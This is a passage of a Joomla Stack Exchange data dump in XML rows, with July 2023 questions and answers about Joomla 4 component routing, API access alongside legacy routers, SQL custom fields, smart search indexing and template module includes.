  <row Id="33183" PostTypeId="2" ParentId="33182" CreationDate="2023-07-12T06:39:13.227" Score="0" Body="&lt;p&gt;The query needs to return a &lt;code&gt;value&lt;/code&gt; column containing the ID of the category:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT title as text, id as value FROM #__categories WHERE extension = &amp;quot;com_content&amp;quot; and published=1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-12T06:39:13.227" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33184" PostTypeId="1" AcceptedAnswerId="33186" CreationDate="2023-07-12T12:10:10.023" Score="0" ViewCount="48" Body="&lt;p&gt;I think this could be a bit complicated. I have a non namespaced Joomla 4 component, but i need to have an API access for specific data.&#xA;So i created a &lt;code&gt;/src&lt;/code&gt; directory in Backend with all needed structures for calling data over one model.&#xA;Also I created ecerything needed in the &lt;code&gt;/api&lt;/code&gt; folder like controller, model, serializer etc.&lt;/p&gt;&#xA;&lt;p&gt;Everything works fine. The component still works in front and backend. That's because a I use the LegacyComponent for everything except API access.&lt;/p&gt;&#xA;&lt;p&gt;Here is the &lt;code&gt;\administrator\components\com_mycom\src\Extension\MycomComponent.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Maidan\Component\Mycomp\Administrator\Extension;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLRegistryAwareTrait;&#xA;use Psr\Container\ContainerInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\Dispatcher\DispatcherInterface;&#xA;use Joomla\CMS\Application\CMSApplicationInterface;&#xA;use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface;&#xA;use Joomla\CMS\Dispatcher\LegacyComponentDispatcher;&#xA;&#xA;// phpcs:disable PSR1.Files.SideEffects&#xA;\defined('JPATH_PLATFORM') or die;&#xA;// phpcs:enable PSR1.Files.SideEffects&#xA;&#xA;class MycompComponent implements ComponentInterface&#xA;{&#xA;    use HTMLRegistryAwareTrait;&#xA;&#xA;    private $dispatcherFactory;&#xA;&#xA;    public function __construct(ComponentDispatcherFactoryInterface $dispatcherFactory)&#xA;    {&#xA;        $this-&amp;gt;dispatcherFactory = $dispatcherFactory;&#xA;    }&#xA;&#xA;    public function getDispatcher(CMSApplicationInterface $application): DispatcherInterface&#xA;    {&#xA;        if ($application-&amp;gt;isClient('api')) {&#xA;            return $this-&amp;gt;dispatcherFactory-&amp;gt;createDispatcher($application);&#xA;        } else {&#xA;            return new LegacyComponentDispatcher($application);&#xA;        }&#xA;    }&#xA;&#xA;    public function boot(ContainerInterface $container)&#xA;    {&#xA;    }&#xA;&#xA;    public function validateSection($section, $item = null)&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    public function getContexts(): array&#xA;    {&#xA;        Factory::getLanguage()-&amp;gt;load('com_mycomp', JPATH_ADMINISTRATOR);&#xA;&#xA;        $contexts = [];&#xA;&#xA;        return $contexts;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only problem I have is that the legacy router for the frontend is not getting used anymore.&lt;/p&gt;&#xA;&lt;p&gt;How can i tell the framework to use that router (&lt;code&gt;\components\com_mycomp\router.php&lt;/code&gt;) for all legacy access in the frontend?&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;Looks like this approach works. Legacy router is getting used again, but please let me know if it could cause trouble. I updated the ServerProvider like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;return new class () implements ServiceProviderInterface {&#xA;    public function register(Container $container)&#xA;    {&#xA;        $app  = Factory::getApplication();&#xA;        if ($app-&amp;gt;isClient('api')) {&#xA;            $container-&amp;gt;registerServiceProvider(new MVCFactory('\\Maidan\\Component\\Mycomp'));&#xA;            $container-&amp;gt;registerServiceProvider(new ComponentDispatcherFactory('\\Maidan\\Component\\Mycomp'));&#xA;&#xA;            $container-&amp;gt;set(&#xA;                ComponentInterface::class,&#xA;                static function (Container $container) {&#xA;                    $component = new MycompComponent($container-&amp;gt;get(ComponentDispatcherFactoryInterface::class));&#xA;                    $component-&amp;gt;setRegistry($container-&amp;gt;get(Registry::class));&#xA;&#xA;                    return $component;&#xA;                }&#xA;            );&#xA;        }&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-07-12T17:07:34.087" LastActivityDate="2023-07-12T17:07:34.087" Title="Using Legacy router while offering API access for own component" Tags="|router|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33185" PostTypeId="1" CreationDate="2023-07-12T12:26:24.507" Score="0" ViewCount="98" Body="&lt;p&gt;Below is the have written the code router file in the component&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Test\Component\Test\Site\Service;&#xA;&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Component\Router\RouterViewConfiguration;&#xA;use Joomla\CMS\Component\Router\RouterView;&#xA;use Joomla\CMS\Component\Router\Rules\StandardRules;&#xA;use Joomla\CMS\Component\Router\Rules\NomenuRules;&#xA;use Joomla\CMS\Component\Router\Rules\MenuRules;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Categories\Categories;&#xA;use Joomla\CMS\Application\SiteApplication;&#xA;use Joomla\CMS\Categories\CategoryFactoryInterface;&#xA;use Joomla\CMS\Categories\CategoryInterface;&#xA;use Joomla\Database\DatabaseInterface;&#xA;use Joomla\CMS\Menu\AbstractMenu;&#xA;&#xA;/**&#xA; * Class TestRouter&#xA; *&#xA; */&#xA;class Router extends RouterView&#xA;{&#xA;    private $noIDs;&#xA;    /**&#xA;     * The category factory&#xA;     *&#xA;     * @var    CategoryFactoryInterface&#xA;     *&#xA;     * @since  1.0.0&#xA;     */&#xA;    private $categoryFactory;&#xA;&#xA;    /**&#xA;     * The category cache&#xA;     *&#xA;     * @var    array&#xA;     *&#xA;     * @since  1.0.0&#xA;     */&#xA;    private $categoryCache = [];&#xA;&#xA;    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)&#xA;    {&#xA;        $params = Factory::getApplication()-&amp;gt;getParams('com_test');&#xA;        $this-&amp;gt;noIDs = (bool) $params-&amp;gt;get('sef_ids');&#xA;        $this-&amp;gt;categoryFactory = $categoryFactory;&#xA;        &#xA;        &#xA;            $itemsdetail = new RouterViewConfiguration('itemsdetail');&#xA;        $itemsdetail-&amp;gt;setKey('catid')-&amp;gt;setNestable();&#xA;            $this-&amp;gt;registerView($itemsdetail);&#xA;            $ccItemdetail = new RouterViewConfiguration('itemdetail');&#xA;            $ccItemdetail-&amp;gt;setKey('id')-&amp;gt;setParent($itemsdetail, 'catid');&#xA;            $this-&amp;gt;registerView($ccItemdetail);&#xA;            $itemdetailform = new RouterViewConfiguration('itemdetailform');&#xA;            $itemdetailform-&amp;gt;setKey('id');&#xA;            $this-&amp;gt;registerView($itemdetailform);&#xA;&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new MenuRules($this));&#xA;        $this-&amp;gt;attachRule(new StandardRules($this));&#xA;        $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;    }&#xA;&#xA;&#xA;    &#xA;            /**&#xA;             * Method to get the segment(s) for a category&#xA;             *&#xA;             * @param   string  $id     ID of the category to retrieve the segments for&#xA;             * @param   array   $query  The request that is built right now&#xA;             *&#xA;             * @return  array|string  The segments of this item&#xA;             */&#xA;            public function getItemsdetailSegment($id, $query)&#xA;            {&#xA;                $category = $this-&amp;gt;getCategories([&amp;quot;access&amp;quot; =&amp;gt; true])-&amp;gt;get($id);&#xA;&#xA;                if ($category)&#xA;                {&#xA;                    $path = array_reverse($category-&amp;gt;getPath(), true);&#xA;                    $path[0] = '1:root';&#xA;&#xA;                    if ($this-&amp;gt;noIDs)&#xA;                    {&#xA;                        foreach ($path as &amp;amp;$segment)&#xA;                        {&#xA;                            list($id, $segment) = explode(':', $segment, 2);&#xA;                        }&#xA;                    }&#xA;&#xA;                    return $path;&#xA;                }&#xA;&#xA;                return array();&#xA;            }&#xA;        /**&#xA;         * Method to get the segment(s) for an itemdetail&#xA;         *&#xA;         * @param   string  $id     ID of the itemdetail to retrieve the segments for&#xA;         * @param   array   $query  The request that is built right now&#xA;         *&#xA;         * @return  array|string  The segments of this item&#xA;         */&#xA;        public function getItemdetailSegment($id, $query)&#xA;        {&#xA;            if (!strpos($id, ':'))&#xA;            {&#xA;                $db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;                $dbquery = $db-&amp;gt;getQuery(true);&#xA;                $dbquery-&amp;gt;select($dbquery-&amp;gt;qn('alias'))&#xA;                    -&amp;gt;from($dbquery-&amp;gt;qn('#__test_item'))&#xA;                    -&amp;gt;where('id = ' . $dbquery-&amp;gt;q($id));&#xA;                $db-&amp;gt;setQuery($dbquery);&#xA;&#xA;                $id .= ':' . $db-&amp;gt;loadResult();&#xA;            }&#xA;&#xA;            if ($this-&amp;gt;noIDs)&#xA;            {&#xA;                list($void, $segment) = explode(':', $id, 2);&#xA;&#xA;                return array($void =&amp;gt; $segment);&#xA;            }&#xA;&#xA;            return array((int) $id =&amp;gt; $id);&#xA;        }&#xA;            /**&#xA;             * Method to get the segment(s) for an itemdetailform&#xA;             *&#xA;             * @param   string  $id     ID of the itemdetailform to retrieve the segments for&#xA;             * @param   array   $query  The request that is built right now&#xA;             *&#xA;             * @return  array|string  The segments of this item&#xA;             */&#xA;            public function getItemdetailformSegment($id, $query)&#xA;            {&#xA;                return $this-&amp;gt;getItemdetailSegment($id, $query);&#xA;            }&#xA;&#xA;    &#xA;            /**&#xA;             * Method to get the id for a category&#xA;             *&#xA;             * @param   string  $segment  Segment to retrieve the ID for&#xA;             * @param   array   $query    The request that is parsed right now&#xA;             *&#xA;             * @return  mixed   The id of this item or false&#xA;             */&#xA;            public function getItemsdetailId($segment, $query)&#xA;            {&#xA;                if (isset($query['catid']))&#xA;                {&#xA;                    $category = $this-&amp;gt;getCategories([&amp;quot;access&amp;quot; =&amp;gt; true])-&amp;gt;get($query['catid']);&#xA;&#xA;                    if ($category)&#xA;                    {&#xA;                        foreach ($category-&amp;gt;getChildren() as $child)&#xA;                        {&#xA;                            if ($this-&amp;gt;noIDs)&#xA;                            {&#xA;                                if ($child-&amp;gt;alias == $segment)&#xA;                                {&#xA;                                    return $child-&amp;gt;id;&#xA;                                }&#xA;                            }&#xA;                            else&#xA;                            {&#xA;                                if ($child-&amp;gt;id == (int) $segment)&#xA;                                {&#xA;                                    return $child-&amp;gt;id;&#xA;                                }&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                }&#xA;&#xA;                return false;&#xA;            }&#xA;        /**&#xA;         * Method to get the segment(s) for an itemdetail&#xA;         *&#xA;         * @param   string  $segment  Segment of the itemdetail to retrieve the ID for&#xA;         * @param   array   $query    The request that is parsed right now&#xA;         *&#xA;         * @return  mixed   The id of this item or false&#xA;         */&#xA;        public function getItemdetailId($segment, $query)&#xA;        {&#xA;            if ($this-&amp;gt;noIDs)&#xA;            {&#xA;                $db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;                $dbquery = $db-&amp;gt;getQuery(true);&#xA;                $dbquery-&amp;gt;select($dbquery-&amp;gt;qn('id'))&#xA;                    -&amp;gt;from($dbquery-&amp;gt;qn('#__test_item'))&#xA;                    -&amp;gt;where('alias = ' . $dbquery-&amp;gt;q($segment));&#xA;                $dbquery-&amp;gt;where($dbquery-&amp;gt;qn('category') . ' LIKE &amp;quot;%' . $query['catid'] . '%&amp;quot;');&#xA;                $db-&amp;gt;setQuery($dbquery);&#xA;&#xA;                return (int) $db-&amp;gt;loadResult();&#xA;            }&#xA;            return (int) $segment;&#xA;        }&#xA;            /**&#xA;             * Method to get the segment(s) for an itemdetailform&#xA;             *&#xA;             * @param   string  $segment  Segment of the itemdetailform to retrieve the ID for&#xA;             * @param   array   $query    The request that is parsed right now&#xA;             *&#xA;             * @return  mixed   The id of this item or false&#xA;             */&#xA;            public function getItemdetailformId($segment, $query)&#xA;            {&#xA;                return $this-&amp;gt;getItemdetailId($segment, $query);&#xA;            }&#xA;&#xA;    /**&#xA;     * Method to get categories from cache&#xA;     *&#xA;     * @param   array  $options   The options for retrieving categories&#xA;     *&#xA;     * @return  CategoryInterface  The object containing categories&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    private function getCategories(array $options = []): CategoryInterface&#xA;    {&#xA;        $key = serialize($options);&#xA;&#xA;        if (!isset($this-&amp;gt;categoryCache[$key]))&#xA;        {&#xA;            $this-&amp;gt;categoryCache[$key] = $this-&amp;gt;categoryFactory-&amp;gt;createCategory($options);&#xA;        }&#xA;&#xA;        return $this-&amp;gt;categoryCache[$key];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and Route URL is &lt;code&gt;Route::_('index.php?option=com_test&amp;amp;view=itemdetail&amp;amp;id='.(int) $item-&amp;gt;id . '&amp;amp;catid=' . (int) $item-&amp;gt;category);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am not getting what is wrong but URL is getting redirected to the home page&#xA;can someone tell me what can be the issue here this is for the Joomla4&lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="12652" LastEditDate="2023-07-13T07:33:13.917" LastActivityDate="2023-12-13T16:06:10.847" Title="Joomla 4 Component SEF URL not working for detail page of the item when catid is added in the url" Tags="|joomla-4.x|sef|category|router|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33186" PostTypeId="2" ParentId="33184" CreationDate="2023-07-12T15:00:28.037" Score="1" Body="&lt;p&gt;Have the component implement &lt;code&gt;Joomla\CMS\Component\Router\RouterServiceInterface&lt;/code&gt;. Create and return the router instance in the &lt;code&gt;createRouter()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function createRouter(\Joomla\CMS\Application\CMSApplicationInterface $application, \Joomla\CMS\Menu\AbstractMenu $menu): \Joomla\CMS\Component\Router\RouterInterface&#xA;{&#xA;    \JLoader::register('MycompRouter', JPATH_SITE . '/components/com_mycomp/router.php');&#xA;&#xA;    return new \MycompRouter($application, $menu);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-12T15:00:28.037" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33187" PostTypeId="1" AcceptedAnswerId="33190" CreationDate="2023-07-13T07:44:17.133" Score="4" ViewCount="86" Body="&lt;p&gt;Given the following menu entries&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9waL9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9waL9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Route::_('index.php?option=com_mycomponent&amp;amp;view=categories&amp;amp;extension=com_mycomponent.countries')&lt;/code&gt; should return '/countries' but in fact it returns '/diseases'.&lt;/p&gt;&#xA;&lt;p&gt;This is happening because Route settles for the first menu item with matching component_id and query parameter view.&lt;/p&gt;&#xA;&lt;p&gt;I've solved the issue by overriding the MenuRules class with my own, but it seems a bit of an overkill.&lt;/p&gt;&#xA;&lt;p&gt;Is there a proper way to have Route consider my custom parameters?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-07-14T06:17:30.703" Title="How to properly add a query parameter to my Router?" Tags="|joomla-4.x|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33188" PostTypeId="1" CreationDate="2023-07-13T12:59:24.357" Score="0" ViewCount="103" Body="&lt;p&gt;I need to create a Multi-level Dependent Drop Down List to show my Joomla Categories list in the first dropdown list and then show the related articles in the second dropdown list (based on the value of the first dropdown list) by SQL custom fields for Joomla articles.&lt;/p&gt;&#xA;&lt;p&gt;the first dropdown list works properly and shows the categories:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT title as text, id as value FROM #__categories WHERE extension = &amp;quot;com_content&amp;quot; and published=1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I don't know what SQL queries it needs for the second dropdown list to show the related articles and make the dependency to the first dropdown value.&lt;/p&gt;&#xA;&lt;p&gt;The first SQL custom field name is category.&lt;/p&gt;&#xA;&lt;p&gt;Thanking you in advance.&lt;/p&gt;&#xA;" OwnerUserId="17186" LastEditorUserId="17186" LastEditDate="2023-07-13T13:00:45.640" LastActivityDate="2023-07-13T13:00:45.640" Title="Multi-level Dependent Drop Down Lists by Joomla 4 SQL Custom Field" Tags="|joomla-4.x|mysql|custom-field|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33189" PostTypeId="1" AcceptedAnswerId="33191" CreationDate="2023-07-13T16:11:54.343" Score="1" ViewCount="53" Body="&lt;p&gt;I have a large site with over 900.000 articles. Now I want to use smart search.&lt;/p&gt;&#xA;&lt;p&gt;Therefore I use the CLI method to index the smart search:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php -d memory_limit=256M finder_indexer.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;No matter how large I set the batch size there is always the same problem. After a couple of hundred batch processess the duration increases heavily.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Processed batch 280 in 4.186 seconds.&#xA;Processed batch 1511 in 10.186 seconds.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Do you have any idea what the problem is and how to solve it?&lt;/p&gt;&#xA;" OwnerUserId="17190" LastActivityDate="2023-08-09T09:51:21.167" Title="Indexing time of smart search increases heavily" Tags="|joomla-3.x|smartsearch|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33190" PostTypeId="2" ParentId="33187" CreationDate="2023-07-14T06:17:30.703" Score="3" Body="&lt;p&gt;What you're doing is the proper way. The included rules are suitable for basic components, they're not meant to work for every known component. In fact, some of the core components are running into the exact same issue, but that's currently accepted as expected behavior. Anyways, current router API exists so developers can easily customize routing while at the same time using some of the rules provided in core.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-14T06:17:30.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33191" PostTypeId="2" ParentId="33189" CreationDate="2023-07-14T08:42:09.693" Score="1" Body="&lt;p&gt;The Smart Search functionality has been improved in Joomla 4. You are using Joomla 3 and the &lt;strong&gt;Joomla 3 support ends on 17 August 2023&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you could test if an &lt;strong&gt;upgrade to Joomla 4&lt;/strong&gt; solves your issue?&#xA;I would create a copy of the website, install it at another place (e.g. local computer), and test the performance with Joomla 3 + smart search on the local computer.&#xA;After that I would migrate that test environment to Joomla 4 and test again.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you could consider using &lt;strong&gt;Elasticsearch&lt;/strong&gt;, a distributed, RESTful search engine optimized for speed and relevance on production-scale workloads. There's a commercial Joomla plugin available that integrates Smart Search with ElasticSearch.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-07-14T08:42:09.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33192" PostTypeId="1" CreationDate="2023-07-14T21:43:38.297" Score="0" ViewCount="13" Body="&lt;p&gt;Would it be possible to load the Joomla framework, then to display the standard login (with all regular options and custom plugins, including the login reult) in an external PHP program?&lt;/p&gt;&#xA;&lt;p&gt;I want to build a SAML IDP server and use the standard Joomla authentication plugins, so I don't have to re-implement all Joomla authentication mechanisms.&lt;/p&gt;&#xA;" OwnerUserId="9248" LastActivityDate="2023-07-14T21:43:38.297" Title="Load and display Joomla authentication process (Login page) from external PHP scripts" Tags="|authentication|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33193" PostTypeId="1" CreationDate="2023-07-15T11:23:49.353" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to add this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$option = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('option'); &#xA;$view  = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('view');&#xA; if ($option == 'com_content' &amp;amp;&amp;amp; $view == 'category') &#xA;{&#xA; &amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;showcase&amp;quot; /&amp;gt; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to my index.php (/rt_notio/index.php) of a Gantry 5 (Rockettheme Notio) template on a Joomla 3.10.12 / PHP 7.4.33 CMS.&lt;/p&gt;&#xA;&lt;p&gt;But every time when I call the page I got a 404 error. Seems that the system doesn't render this code (especially the jdoc:include command) What I'm doing wrong? Thanks for answering!&lt;/p&gt;&#xA;&lt;p&gt;Expectation:&#xA;Rendering the index.php to get my page online and inject the module &amp;quot;showcase&amp;quot; only on category pages, not on every article page.&lt;/p&gt;&#xA;" OwnerUserId="14283" LastEditorUserId="13306" LastEditDate="2023-07-15T12:44:43.343" LastActivityDate="2023-12-12T23:02:55.367" Title="Gantry5 index.php jdoc:include" Tags="|gantry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33194" PostTypeId="2" ParentId="33193" CreationDate="2023-07-15T20:09:01.157" Score="0" Body="&lt;p&gt;Your line &lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;showcase&amp;quot; /&amp;gt;&lt;/code&gt; is not php code, so it has to be outside the php code delimiters.&lt;/p&gt;&#xA;&lt;p&gt;The lines setting the &lt;code&gt;$option&lt;/code&gt; and &lt;code&gt;$view&lt;/code&gt; can be at the top of the file (within the php code section). The jdoc line should be within the part of the index.php file which has the html tags. Then you need to have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($option == 'com_content' &amp;amp;&amp;amp; $view == 'category') : ?&amp;gt;&#xA;   &amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;showcase&amp;quot; /&amp;gt; &#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By the way, you may find the Joomla &lt;a href=&quot;https://regularlabs.com/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Module Manager&lt;/a&gt; extension gives you what you want without needing to override the template.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-15T20:09:01.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33195" PostTypeId="2" ParentId="33193" CreationDate="2023-07-15T21:01:38.500" Score="0" Body="&lt;p&gt;Thanks a lot Robbie to answer my question! I'm aware of the Advanced Module Manager. Unfortunately this great piece of software gives me a lot of weird errors in conjunction with Gantr5/Rockettheme template/Joomla. My plan was to disable the AMM and implement such a piece of code to do the same.&#xA;Unfortunately I'm still struggling to get it to work. With the following code in my index.php I get a 500 error now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; &amp;lt;?php&#xA;&amp;gt; &#xA;&amp;gt; /**  * @package   Gantry 5 Theme  * @author    RocketTheme&#xA;&amp;gt; http://www.rockettheme.com  * @copyright Copyright (C) 2007 - 2021&#xA;&amp;gt; RocketTheme, LLC  * @license   GNU/GPLv2 and later  *  *&#xA;&amp;gt; http://www.gnu.org/licenses/gpl-2.0.html  */&#xA;&amp;gt; &#xA;&amp;gt; defined('_JEXEC') or die;&#xA;&amp;gt; &#xA;&amp;gt; use Gantry\Framework\Theme;&#xA;&amp;gt; &#xA;&amp;gt; // Bootstrap Gantry framework or fail gracefully (inside included&#xA;&amp;gt; file). $className = __DIR__ . '/custom/includes/gantry.php'; if&#xA;&amp;gt; (!is_file($className)) {&#xA;&amp;gt;     $className = __DIR__ . '/includes/gantry.php'; } $gantry = include $className;&#xA;&amp;gt; &#xA;&amp;gt; /** @var Theme $theme */ $theme = $gantry['theme'];&#xA;&amp;gt; &#xA;&amp;gt; // All the custom twig variables can be defined in here: $context =&#xA;&amp;gt; array();&#xA;&amp;gt; &#xA;&amp;gt; // Render the page. echo $theme-&amp;gt;render('index.html.twig', $context);&#xA;&amp;gt; &#xA;&amp;gt; &#xA;$option = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('option');&#xA;$view = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('view');&#xA;&amp;lt;?php if ($option == 'com_content' &amp;amp;&amp;amp; $view == 'category') : ?&amp;gt;    &#xA;  &amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;showcase&amp;quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14283" LastEditorUserId="14283" LastEditDate="2023-07-15T21:07:45.983" LastActivityDate="2023-07-15T21:07:45.983" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33196" PostTypeId="1" CreationDate="2023-07-16T10:12:45.330" Score="0" ViewCount="204" Body="&lt;p&gt;For my Project i need to have a Custom Field that gets all &amp;quot;Sponsors&amp;quot; from a related table, the user can then select the items and link them to a &amp;quot;location&amp;quot; so define the sponsors for a location. Nothing fancy In J3 I've done such things a lot but i have no clue (nor guides) on how to render the customfield correctly in J4.&lt;/p&gt;&#xA;&lt;p&gt;form xmls got stored in /administrator/components/com_comp/forms&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Repeatable Subform --&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;sponsor&amp;quot; type=&amp;quot;sponsorselection&amp;quot; label=&amp;quot;Sponsor&amp;quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Fields got stored in /administrator/components/com_comp/src/Field&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace NXD\Component\FootballManager\Form;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\Field\ListField as ListField;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\Database\DatabaseInterface;&#xA;&#xA;class SponsorselectionField extends ListField&#xA;{&#xA;    protected $type = 'sponsorselection';&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName(['id', 'title']))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__footballmanager_sponsors'))&#xA;            -&amp;gt;order($db-&amp;gt;quoteName('title'));&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;        $options = array();&#xA;        foreach ($results as $result)&#xA;        {&#xA;            $options[] = HTMLHelper::_('select.option', $result-&amp;gt;id, $result-&amp;gt;name);&#xA;        }&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When loading this field i receive an error 500 including the info that this name (SponsorselectionField) is already in use. So the Repeatable Subform might be the issue &amp;gt; OK but how to handle that in the Field Class? As far as i can see there are no good example for J4 - yeah i could go the JForm J3 Way but i dont want to if there is a newer / better way...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-07-16T11:08:18.710" Title="I need a simple Example of a Custom Field in a Joomla 4 Component" Tags="|joomla-4.x|fields|custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33197" PostTypeId="2" ParentId="33196" CreationDate="2023-07-16T11:08:18.710" Score="1" Body="&lt;p&gt;OK Nevermind, 've started again from scratch and this time it worked:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;!-- Repeatable Subform --&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;sponsor&amp;quot;&#xA;        type=&amp;quot;sponsors&amp;quot;&#xA;        label=&amp;quot;COM_FOOTBALLMANAGER_SPONSOR_TITLE&amp;quot;&#xA;        /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Class located in administrator/com_comp/src/Field/SponsorsField.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;namespace NXD\Component\Footballmanager\Administrator\Field;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\Field\ListField;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\Database\DatabaseInterface;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class SponsorsField extends ListField{&#xA;    